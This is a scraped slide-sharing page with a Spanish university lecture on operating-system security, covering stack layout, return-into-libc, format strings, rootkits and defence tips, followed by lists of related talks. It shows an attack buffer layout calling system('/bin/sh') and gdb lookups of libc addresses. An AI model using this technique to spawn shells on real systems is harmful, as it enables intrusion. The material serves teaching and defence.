sitio oficial?
Usa herramientas que te ayuden a detectar anomalias:
integridad de ficheros, detector de r00tkits, . . .
Haz copias de seguridad peri´odicas. (Sobre todo en la
empresa!)
. . . En general, hay S.O.’s m´as seguros que otros ;-)
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo usuario final. . .
Ten siempre actualizado tu S.O.
Ay´udate de las herramientas disponibles: ASLR, NX, heap
randomization, . . .
Cuidado con el SW que te instalas. Est´a firmado? Viene del
sitio oficial?
Usa herramientas que te ayuden a detectar anomalias:
integridad de ficheros, detector de r00tkits, . . .
Haz copias de seguridad peri´odicas. (Sobre todo en la
empresa!)
. . . En general, hay S.O.’s m´as seguros que otros ;-)
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo usuario final. . .
Ten siempre actualizado tu S.O.
Ay´udate de las herramientas disponibles: ASLR, NX, heap
randomization, . . .
Cuidado con el SW que te instalas. Est´a firmado? Viene del
sitio oficial?
Usa herramientas que te ayuden a detectar anomalias:
integridad de ficheros, detector de r00tkits, . . .
Haz copias de seguridad peri´odicas. (Sobre todo en la
empresa!)
. . . En general, hay S.O.’s m´as seguros que otros ;-)
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Defensa: Consejos generales
Fin de la sesi´on
exit(EXIT SUCCESS);
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Defensa: Consejos generales
(C) and references:
http://www.flickr.com/photos/littlegirllost1/1489744918/
http://www.ibm.com/developerworks/linux/library/l-selinux/
http://qubes-os.org/Home.html
Jacobo Avariento Seguridad en Sistemas Operativos

Más contenido relacionado

La actualidad más candente

Extendiendo la seguridad en Elastix con Snort IDS/IPS
Extendiendo la seguridad en Elastix con Snort IDS/IPSExtendiendo la seguridad en Elastix con Snort IDS/IPS
Extendiendo la seguridad en Elastix con Snort IDS/IPSPaloSanto Solutions
 
Paco Ramirez - M.E.A.T. - Make Enviroment Android Tools [rooted2019]
Paco Ramirez - M.E.A.T. - Make Enviroment Android Tools [rooted2019]Paco Ramirez - M.E.A.T. - Make Enviroment Android Tools [rooted2019]
Paco Ramirez - M.E.A.T. - Make Enviroment Android Tools [rooted2019]RootedCON
 
NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus
NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirusNoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus
NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirusINCIDE
 
Historia de los buffer overflows por Juan Sacco
Historia de los buffer overflows por Juan SaccoHistoria de los buffer overflows por Juan Sacco
Historia de los buffer overflows por Juan SaccoJuan Sacco
 
Sincronizar Threads
Sincronizar ThreadsSincronizar Threads
Sincronizar Threadsjubacalo
 
Penetración con una Backdoor
Penetración con una BackdoorPenetración con una Backdoor
Penetración con una BackdoorNEGOCIOS PROPIOS
 
Carlos Brendel - Sobreviviendo al exterior con tu IPS [rooted2018]
Carlos Brendel - Sobreviviendo al exterior con tu IPS [rooted2018]Carlos Brendel - Sobreviviendo al exterior con tu IPS [rooted2018]
Carlos Brendel - Sobreviviendo al exterior con tu IPS [rooted2018]RootedCON
 
Tecnicas de escaneo de puertos
Tecnicas de escaneo de puertosTecnicas de escaneo de puertos
Tecnicas de escaneo de puertosFrancisco Vergara
 
CPMX5 - Hacking like a boss por Roberto Salgado
CPMX5 - Hacking like a boss por Roberto SalgadoCPMX5 - Hacking like a boss por Roberto Salgado
CPMX5 - Hacking like a boss por Roberto SalgadoWebsec México, S.C.
 
Ethical hacking 04a
Ethical hacking 04aEthical hacking 04a
Ethical hacking 04aTensor
 
Cuckoo sandbox
Cuckoo sandboxCuckoo sandbox
Cuckoo sandboxTensor
 
Rooted2020 virtual pwned-network_-_manel_molina
Rooted2020 virtual pwned-network_-_manel_molinaRooted2020 virtual pwned-network_-_manel_molina
Rooted2020 virtual pwned-network_-_manel_molinaRootedCON
 
Formato entregable de instalacion
Formato entregable de instalacionFormato entregable de instalacion
Formato entregable de instalacionoscar Rojas Nuñez
 
Rooted2020 hunting malware-using_process_behavior-roberto_amado
Rooted2020 hunting malware-using_process_behavior-roberto_amadoRooted2020 hunting malware-using_process_behavior-roberto_amado
Rooted2020 hunting malware-using_process_behavior-roberto_amadoRootedCON
 
Pentesting 101 por Paulino Calderon
Pentesting 101 por Paulino CalderonPentesting 101 por Paulino Calderon
Pentesting 101 por Paulino CalderonWebsec México, S.C.
 
Ponencia sql avanzado y automatizado
Ponencia sql avanzado y automatizadoPonencia sql avanzado y automatizado
Ponencia sql avanzado y automatizadon3xasec
 

La actualidad más candente (20)

Extendiendo la seguridad en Elastix con Snort IDS/IPS
Extendiendo la seguridad en Elastix con Snort IDS/IPSExtendiendo la seguridad en Elastix con Snort IDS/IPS
Extendiendo la seguridad en Elastix con Snort IDS/IPS
 
Paco Ramirez - M.E.A.T. - Make Enviroment Android Tools [rooted2019]
Paco Ramirez - M.E.A.T. - Make Enviroment Android Tools [rooted2019]Paco Ramirez - M.E.A.T. - Make Enviroment Android Tools [rooted2019]
Paco Ramirez - M.E.A.T. - Make Enviroment Android Tools [rooted2019]
 
NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus
NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirusNoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus
NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus
 
Historia de los buffer overflows por Juan Sacco
Historia de los buffer overflows por Juan SaccoHistoria de los buffer overflows por Juan Sacco
Historia de los buffer overflows por Juan Sacco
 
Sincronizar Threads
Sincronizar ThreadsSincronizar Threads
Sincronizar Threads
 
Penetración con una Backdoor
Penetración con una BackdoorPenetración con una Backdoor
Penetración con una Backdoor
 
Java
JavaJava
Java
 
Carlos Brendel - Sobreviviendo al exterior con tu IPS [rooted2018]
Carlos Brendel - Sobreviviendo al exterior con tu IPS [rooted2018]Carlos Brendel - Sobreviviendo al exterior con tu IPS [rooted2018]
Carlos Brendel - Sobreviviendo al exterior con tu IPS [rooted2018]
 
Tecnicas de escaneo de puertos
Tecnicas de escaneo de puertosTecnicas de escaneo de puertos
Tecnicas de escaneo de puertos
 
CPMX5 - Hacking like a boss por Roberto Salgado
CPMX5 - Hacking like a boss por Roberto SalgadoCPMX5 - Hacking like a boss por Roberto Salgado
CPMX5 - Hacking like a boss por Roberto Salgado
 
Present3
Present3Present3
Present3
 
Ethical hacking 04a
Ethical hacking 04aEthical hacking 04a
Ethical hacking 04a
 
Cuckoo sandbox
Cuckoo sandboxCuckoo sandbox
Cuckoo sandbox
 
Rooted2020 virtual pwned-network_-_manel_molina
Rooted2020 virtual pwned-network_-_manel_molinaRooted2020 virtual pwned-network_-_manel_molina
Rooted2020 virtual pwned-network_-_manel_molina
 
Formato entregable de instalacion
Formato entregable de instalacionFormato entregable de instalacion
Formato entregable de instalacion
 
Rooted2020 hunting malware-using_process_behavior-roberto_amado
Rooted2020 hunting malware-using_process_behavior-roberto_amadoRooted2020 hunting malware-using_process_behavior-roberto_amado
Rooted2020 hunting malware-using_process_behavior-roberto_amado
 
Crackeando redes wep
Crackeando redes wepCrackeando redes wep
Crackeando redes wep
 
Pentesting 101 por Paulino Calderon
Pentesting 101 por Paulino CalderonPentesting 101 por Paulino Calderon
Pentesting 101 por Paulino Calderon
 
Sincronizacion
SincronizacionSincronizacion
Sincronizacion
 
Ponencia sql avanzado y automatizado
Ponencia sql avanzado y automatizadoPonencia sql avanzado y automatizado
Ponencia sql avanzado y automatizado
 

Similar a SO Seguridad Ataque Defensa

José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]RootedCON
 
Securizando por construcción mediante MDE
Securizando por construcción mediante MDESecurizando por construcción mediante MDE
Securizando por construcción mediante MDEPedro J. Molina
 
V2 d2013 jose l verdeguer - freepbx fun and profit
V2 d2013   jose l verdeguer - freepbx fun and profitV2 d2013   jose l verdeguer - freepbx fun and profit
V2 d2013 jose l verdeguer - freepbx fun and profitVOIP2DAY
 
Hacking Drupal - Anatomía de una auditoría de seguridad
Hacking Drupal - Anatomía de una auditoría de seguridadHacking Drupal - Anatomía de una auditoría de seguridad
Hacking Drupal - Anatomía de una auditoría de seguridadzekivazquez
 
Construyendo rootkits basicos
Construyendo rootkits basicosConstruyendo rootkits basicos
Construyendo rootkits basicosTensor
 
Desarrollo de rootkits en Linux [GuadalajaraCON 2013]
Desarrollo de rootkits en Linux [GuadalajaraCON 2013]Desarrollo de rootkits en Linux [GuadalajaraCON 2013]
Desarrollo de rootkits en Linux [GuadalajaraCON 2013]Websec México, S.C.
 
Desde el DVR hasta la cocina
Desde el DVR hasta la cocinaDesde el DVR hasta la cocina
Desde el DVR hasta la cocinaEfren Diaz Gomez
 
Presentacion Ontología de Seguridad para la securización de sistemas
Presentacion Ontología de Seguridad para la securización de sistemasPresentacion Ontología de Seguridad para la securización de sistemas
Presentacion Ontología de Seguridad para la securización de sistemasguesta3f6ce
 
Depuración Avanzada Con Win Dbg Y Vs 2010 (Extendida)
Depuración Avanzada Con Win Dbg Y Vs 2010 (Extendida)Depuración Avanzada Con Win Dbg Y Vs 2010 (Extendida)
Depuración Avanzada Con Win Dbg Y Vs 2010 (Extendida)Pablo Alvarez Doval
 
Hacking & Hardening Drupal
Hacking & Hardening DrupalHacking & Hardening Drupal
Hacking & Hardening Drupalzekivazquez
 
Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...
Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...
Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...Jorge Sainz Raso
 
Maitaining access
Maitaining accessMaitaining access
Maitaining accessTensor
 
Linux Kernel - System Calls - Modules - Drivers
Linux Kernel - System Calls - Modules - DriversLinux Kernel - System Calls - Modules - Drivers
Linux Kernel - System Calls - Modules - DriversMartin Baez
 
Scripting para Pentesters v1.0
Scripting para Pentesters v1.0Scripting para Pentesters v1.0
Scripting para Pentesters v1.0wcuestas
 
MAITAINING ACCESS
MAITAINING ACCESSMAITAINING ACCESS
MAITAINING ACCESSTensor
 
Depuración Avanzada Con Win Dbg Y Vs 2010 (Basica)
Depuración Avanzada Con Win Dbg Y Vs 2010 (Basica)Depuración Avanzada Con Win Dbg Y Vs 2010 (Basica)
Depuración Avanzada Con Win Dbg Y Vs 2010 (Basica)Pablo Alvarez Doval
 

Similar a SO Seguridad Ataque Defensa (20)

Seguridad so pi_2011
Seguridad so pi_2011Seguridad so pi_2011
Seguridad so pi_2011
 
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
José Luis Verdeguer - FreePBX for fun & profit [Rooted CON 2013]
 
2013 03 - rooted - free pbx-for fun and profit
2013 03 - rooted - free pbx-for fun and profit2013 03 - rooted - free pbx-for fun and profit
2013 03 - rooted - free pbx-for fun and profit
 
Curso linux clase_2_2012
Curso linux clase_2_2012Curso linux clase_2_2012
Curso linux clase_2_2012
 
Securizando por construcción mediante MDE
Securizando por construcción mediante MDESecurizando por construcción mediante MDE
Securizando por construcción mediante MDE
 
V2 d2013 jose l verdeguer - freepbx fun and profit
V2 d2013   jose l verdeguer - freepbx fun and profitV2 d2013   jose l verdeguer - freepbx fun and profit
V2 d2013 jose l verdeguer - freepbx fun and profit
 
Hacking Drupal - Anatomía de una auditoría de seguridad
Hacking Drupal - Anatomía de una auditoría de seguridadHacking Drupal - Anatomía de una auditoría de seguridad
Hacking Drupal - Anatomía de una auditoría de seguridad
 
Construyendo rootkits basicos
Construyendo rootkits basicosConstruyendo rootkits basicos
Construyendo rootkits basicos
 
Desarrollo de rootkits en Linux [GuadalajaraCON 2013]
Desarrollo de rootkits en Linux [GuadalajaraCON 2013]Desarrollo de rootkits en Linux [GuadalajaraCON 2013]
Desarrollo de rootkits en Linux [GuadalajaraCON 2013]
 
Desde el DVR hasta la cocina
Desde el DVR hasta la cocinaDesde el DVR hasta la cocina
Desde el DVR hasta la cocina
 
Presentacion Ontología de Seguridad para la securización de sistemas
Presentacion Ontología de Seguridad para la securización de sistemasPresentacion Ontología de Seguridad para la securización de sistemas
Presentacion Ontología de Seguridad para la securización de sistemas
 
Depuración Avanzada Con Win Dbg Y Vs 2010 (Extendida)
Depuración Avanzada Con Win Dbg Y Vs 2010 (Extendida)Depuración Avanzada Con Win Dbg Y Vs 2010 (Extendida)
Depuración Avanzada Con Win Dbg Y Vs 2010 (Extendida)
 
Hacking & Hardening Drupal
Hacking & Hardening DrupalHacking & Hardening Drupal
Hacking & Hardening Drupal
 
Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...
Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...
Gestión de vulnerabilidades de seguridad en desarrollos electrónicos basados ...
 
Los mejores trucos de Asterisk
Los mejores trucos de AsteriskLos mejores trucos de Asterisk
Los mejores trucos de Asterisk
 
Maitaining access
Maitaining accessMaitaining access
Maitaining access
 
Linux Kernel - System Calls - Modules - Drivers
Linux Kernel - System Calls - Modules - DriversLinux Kernel - System Calls - Modules - Drivers
Linux Kernel - System Calls - Modules - Drivers
 
Scripting para Pentesters v1.0
Scripting para Pentesters v1.0Scripting para Pentesters v1.0
Scripting para Pentesters v1.0
 
MAITAINING ACCESS
MAITAINING ACCESSMAITAINING ACCESS
MAITAINING ACCESS
 
Depuración Avanzada Con Win Dbg Y Vs 2010 (Basica)
Depuración Avanzada Con Win Dbg Y Vs 2010 (Basica)Depuración Avanzada Con Win Dbg Y Vs 2010 (Basica)
Depuración Avanzada Con Win Dbg Y Vs 2010 (Basica)
 

Último

La era de la educación digital y sus desafios
La era de la educación digital y sus desafiosLa era de la educación digital y sus desafios
La era de la educación digital y sus desafiosFundación YOD YOD
 
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptxCrear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptxNombre Apellidos
 
R1600G CAT Variables de cargadores en mina
R1600G CAT Variables de cargadores en minaR1600G CAT Variables de cargadores en mina
R1600G CAT Variables de cargadores en minaarkananubis
 
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdf
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdfPARTES DE UN OSCILOSCOPIO ANALOGICO .pdf
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdfSergioMendoza354770
 
dokumen.tips_36274588-sistema-heui-eui.ppt
dokumen.tips_36274588-sistema-heui-eui.pptdokumen.tips_36274588-sistema-heui-eui.ppt
dokumen.tips_36274588-sistema-heui-eui.pptMiguelAtencio10
 
El uso de las tic en la vida ,lo importante que son
El uso de las tic en la vida ,lo importante  que sonEl uso de las tic en la vida ,lo importante  que son
El uso de las tic en la vida ,lo importante que son241514984
 
Plan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docxPlan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docxpabonheidy28
 
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptxMedidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptxaylincamaho
 
trabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdftrabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdfIsabellaMontaomurill
 
Actividad integradora 6 CREAR UN RECURSO MULTIMEDIA
Actividad integradora 6    CREAR UN RECURSO MULTIMEDIAActividad integradora 6    CREAR UN RECURSO MULTIMEDIA
Actividad integradora 6 CREAR UN RECURSO MULTIMEDIA241531640
 
Presentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidadPresentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidadMiguelAngelVillanuev48
 
El uso de las TIC's en la vida cotidiana.
El uso de las TIC's en la vida cotidiana.El uso de las TIC's en la vida cotidiana.
El uso de las TIC's en la vida cotidiana.241514949
 
ATAJOS DE WINDOWS. Los diferentes atajos para utilizar en windows y ser más e...
ATAJOS DE WINDOWS. Los diferentes atajos para utilizar en windows y ser más e...ATAJOS DE WINDOWS. Los diferentes atajos para utilizar en windows y ser más e...
ATAJOS DE WINDOWS. Los diferentes atajos para utilizar en windows y ser más e...FacuMeza2
 
El uso delas tic en la vida cotidiana MFEL
El uso delas tic en la vida cotidiana MFELEl uso delas tic en la vida cotidiana MFEL
El uso delas tic en la vida cotidiana MFELmaryfer27m
 
definicion segun autores de matemáticas educativa
definicion segun autores de matemáticas  educativadefinicion segun autores de matemáticas  educativa
definicion segun autores de matemáticas educativaAdrianaMartnez618894
 
tics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptxtics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptxazmysanros90
 
FloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptxFloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptx241522327
 
Arenas Camacho-Practica tarea Sesión 12.pptx
Arenas Camacho-Practica tarea Sesión 12.pptxArenas Camacho-Practica tarea Sesión 12.pptx
Arenas Camacho-Practica tarea Sesión 12.pptxJOSEFERNANDOARENASCA
 
Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024GiovanniJavierHidalg
 
GonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptxGonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptx241523733
 

Último (20)

La era de la educación digital y sus desafios
La era de la educación digital y sus desafiosLa era de la educación digital y sus desafios
La era de la educación digital y sus desafios
 
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptxCrear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
 
R1600G CAT Variables de cargadores en mina
R1600G CAT Variables de cargadores en minaR1600G CAT Variables de cargadores en mina
R1600G CAT Variables de cargadores en mina
 
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdf
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdfPARTES DE UN OSCILOSCOPIO ANALOGICO .pdf
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdf
 
dokumen.tips_36274588-sistema-heui-eui.ppt
dokumen.tips_36274588-sistema-heui-eui.pptdokumen.tips_36274588-sistema-heui-eui.ppt
dokumen.tips_36274588-sistema-heui-eui.ppt
 
El uso de las tic en la vida ,lo importante que son
El uso de las tic en la vida ,lo importante  que sonEl uso de las tic en la vida ,lo importante  que son
El uso de las tic en la vida ,lo importante que son
 
Plan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docxPlan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docx
 
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptxMedidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
 
trabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdftrabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdf
 
Actividad integradora 6 CREAR UN RECURSO MULTIMEDIA
Actividad integradora 6    CREAR UN RECURSO MULTIMEDIAActividad integradora 6    CREAR UN RECURSO MULTIMEDIA
Actividad integradora 6 CREAR UN RECURSO MULTIMEDIA
 
Presentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidadPresentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidad
 
El uso de las TIC's en la vida cotidiana.
El uso de las TIC's en la vida cotidiana.El uso de las TIC's en la vida cotidiana.
El uso de las TIC's en la vida cotidiana.
 
ATAJOS DE WINDOWS. Los diferentes atajos para utilizar en windows y ser más e...
ATAJOS DE WINDOWS. Los diferentes atajos para utilizar en windows y ser más e...ATAJOS DE WINDOWS. Los diferentes atajos para utilizar en windows y ser más e...
ATAJOS DE WINDOWS. Los diferentes atajos para utilizar en windows y ser más e...
 
El uso delas tic en la vida cotidiana MFEL
El uso delas tic en la vida cotidiana MFELEl uso delas tic en la vida cotidiana MFEL
El uso delas tic en la vida cotidiana MFEL
 
definicion segun autores de matemáticas educativa
definicion segun autores de matemáticas  educativadefinicion segun autores de matemáticas  educativa
definicion segun autores de matemáticas educativa
 
tics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptxtics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptx
 
FloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptxFloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptx
 
Arenas Camacho-Practica tarea Sesión 12.pptx
Arenas Camacho-Practica tarea Sesión 12.pptxArenas Camacho-Practica tarea Sesión 12.pptx
Arenas Camacho-Practica tarea Sesión 12.pptx
 
Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024
 
GonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptxGonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptx
 

SO Seguridad Ataque Defensa

  • 1. Seguridad en Sistemas Operativos Ataque y Defensa Jacobo Avariento Gimeno jacobo@sofistic.net 22 de junio de 2011 Universitat Jaume I
  • 2. 1 Brev´ısimo repaso a la sesi´on anterior 2 “Return-into-libc“ 3 Vulnerabilidades de formateo de cadena 4 T´ecnica ”off-by-one” 5 Conclusiones sobre las t´ecnicas ”b´asicas“ de explotaci´on 6 r00tkits 7 Virtualizaci´on 8 Defensa: Consejos generales
  • 3. Seguridad en Sistemas Operativos Brev´ısimo repaso a la sesi´on anterior Espacio de Memoria Virtual de un proceso Jacobo Avariento Seguridad en Sistemas Operativos
  • 4. Seguridad en Sistemas Operativos Brev´ısimo repaso a la sesi´on anterior Disposici´on de la pila Jacobo Avariento Seguridad en Sistemas Operativos
  • 5. Seguridad en Sistemas Operativos Brev´ısimo repaso a la sesi´on anterior Rutina de llamada a funci´on: El Retorno C´odigo ensamblador (”Caller”) e8 e0 fe ff ff call 8048350 <printf@plt> c9 leave c3 ret Versi´on extendida push %eip ; call mov %ebp, %esp ; leave, p.I pop %ebp ; leave, p.II pop %eip ; ret Jacobo Avariento Seguridad en Sistemas Operativos
  • 6. Seguridad en Sistemas Operativos Brev´ısimo repaso a la sesi´on anterior Rutina de llamada a funci´on: El Retorno C´odigo ensamblador (”Caller”) e8 e0 fe ff ff call 8048350 <printf@plt> c9 leave c3 ret Versi´on extendida push %eip ; call mov %ebp, %esp ; leave, p.I pop %ebp ; leave, p.II pop %eip ; ret Jacobo Avariento Seguridad en Sistemas Operativos
  • 7. Seguridad en Sistemas Operativos Brev´ısimo repaso a la sesi´on anterior Rutina de llamada a funci´on: El Retorno Trinity hacking... Explotaci´on real de un buffer overflow en SSH v1 :-) Pr´actica Youtube: Trinity SSHnuke and Nmap http://www.youtube.com/watch?v=ojFFS T3UQk Teor´ıa Matrix Sequel Has Hacker Cred, K. Poulsen, Securityfocus, 2003. http://www.securityfocus.com/news/4831 Jacobo Avariento Seguridad en Sistemas Operativos
  • 8. Seguridad en Sistemas Operativos Brev´ısimo repaso a la sesi´on anterior Rutina de llamada a funci´on: El Retorno Trinity hacking... Explotaci´on real de un buffer overflow en SSH v1 :-) Pr´actica Youtube: Trinity SSHnuke and Nmap http://www.youtube.com/watch?v=ojFFS T3UQk Teor´ıa Matrix Sequel Has Hacker Cred, K. Poulsen, Securityfocus, 2003. http://www.securityfocus.com/news/4831 Jacobo Avariento Seguridad en Sistemas Operativos
  • 9. Seguridad en Sistemas Operativos Brev´ısimo repaso a la sesi´on anterior Rutina de llamada a funci´on: El Retorno Trinity hacking... Explotaci´on real de un buffer overflow en SSH v1 :-) Pr´actica Youtube: Trinity SSHnuke and Nmap http://www.youtube.com/watch?v=ojFFS T3UQk Teor´ıa Matrix Sequel Has Hacker Cred, K. Poulsen, Securityfocus, 2003. http://www.securityfocus.com/news/4831 Jacobo Avariento Seguridad en Sistemas Operativos
  • 10. Seguridad en Sistemas Operativos “Return-into-libc“ T´ecnicas de explotaci´on en pilas no ejecutables: ”Return-into-libc” Jacobo Avariento Seguridad en Sistemas Operativos
  • 11. Seguridad en Sistemas Operativos “Return-into-libc“ Intro Hay veces que las pilas no son ejecutables (PaX, NX, Solaris, OpenBSD, . . . ) O el buffer de ataque es muy peque˜no Hay que cambiar de t´ecnica. . . Ya no hay shellcode Saltamos a la libc del sistema (system, open, read, . . . ) T´ıpico: system(“/bin/sh“); T´ecnica descubierta por Solar Designer en el ’97. Jacobo Avariento Seguridad en Sistemas Operativos
  • 12. Seguridad en Sistemas Operativos “Return-into-libc“ Intro Hay veces que las pilas no son ejecutables (PaX, NX, Solaris, OpenBSD, . . . ) O el buffer de ataque es muy peque˜no Hay que cambiar de t´ecnica. . . Ya no hay shellcode Saltamos a la libc del sistema (system, open, read, . . . ) T´ıpico: system(“/bin/sh“); T´ecnica descubierta por Solar Designer en el ’97. Jacobo Avariento Seguridad en Sistemas Operativos
  • 13. Seguridad en Sistemas Operativos “Return-into-libc“ Intro Hay veces que las pilas no son ejecutables (PaX, NX, Solaris, OpenBSD, . . . ) O el buffer de ataque es muy peque˜no Hay que cambiar de t´ecnica. . . Ya no hay shellcode Saltamos a la libc del sistema (system, open, read, . . . ) T´ıpico: system(“/bin/sh“); T´ecnica descubierta por Solar Designer en el ’97. Jacobo Avariento Seguridad en Sistemas Operativos
  • 14. Seguridad en Sistemas Operativos “Return-into-libc“ Intro Hay veces que las pilas no son ejecutables (PaX, NX, Solaris, OpenBSD, . . . ) O el buffer de ataque es muy peque˜no Hay que cambiar de t´ecnica. . . Ya no hay shellcode Saltamos a la libc del sistema (system, open, read, . . . ) T´ıpico: system(“/bin/sh“); T´ecnica descubierta por Solar Designer en el ’97. Jacobo Avariento Seguridad en Sistemas Operativos
  • 15. Seguridad en Sistemas Operativos “Return-into-libc“ Intro Hay veces que las pilas no son ejecutables (PaX, NX, Solaris, OpenBSD, . . . ) O el buffer de ataque es muy peque˜no Hay que cambiar de t´ecnica. . . Ya no hay shellcode Saltamos a la libc del sistema (system, open, read, . . . ) T´ıpico: system(“/bin/sh“); T´ecnica descubierta por Solar Designer en el ’97. Jacobo Avariento Seguridad en Sistemas Operativos
  • 16. Seguridad en Sistemas Operativos “Return-into-libc“ Intro Hay veces que las pilas no son ejecutables (PaX, NX, Solaris, OpenBSD, . . . ) O el buffer de ataque es muy peque˜no Hay que cambiar de t´ecnica. . . Ya no hay shellcode Saltamos a la libc del sistema (system, open, read, . . . ) T´ıpico: system(“/bin/sh“); T´ecnica descubierta por Solar Designer en el ’97. Jacobo Avariento Seguridad en Sistemas Operativos
  • 17. Seguridad en Sistemas Operativos “Return-into-libc“ Preparaci´on Buffer de ataque Idea RELLENO + DIR FUNC LIBC (EIP) + RELLENO (4B) + ARGS Ataque RELLENO + DIR SYSTEM LIBC + DIR EXIT LIBC + "/bin/sh’’ Jacobo Avariento Seguridad en Sistemas Operativos
  • 18. Seguridad en Sistemas Operativos “Return-into-libc“ Preparaci´on Buffer de ataque Idea RELLENO + DIR FUNC LIBC (EIP) + RELLENO (4B) + ARGS Ataque RELLENO + DIR SYSTEM LIBC + DIR EXIT LIBC + "/bin/sh’’ Jacobo Avariento Seguridad en Sistemas Operativos
  • 19. Seguridad en Sistemas Operativos “Return-into-libc“ Preparaci´on C´omo obtener las direcciones (gdb) p system $1 = {<text variable, no debug info>} 0xb7eaea20 <system> (gdb) p exit $2 = {<text variable, no debug info>} 0xb7ea4370 <exit> 0xbffff45e: "TERM=xterm-color" 0xbffff46f: "SHELL=/bin/bash" 0xbffff47f: "HISTSIZE=1000" Jacobo Avariento Seguridad en Sistemas Operativos
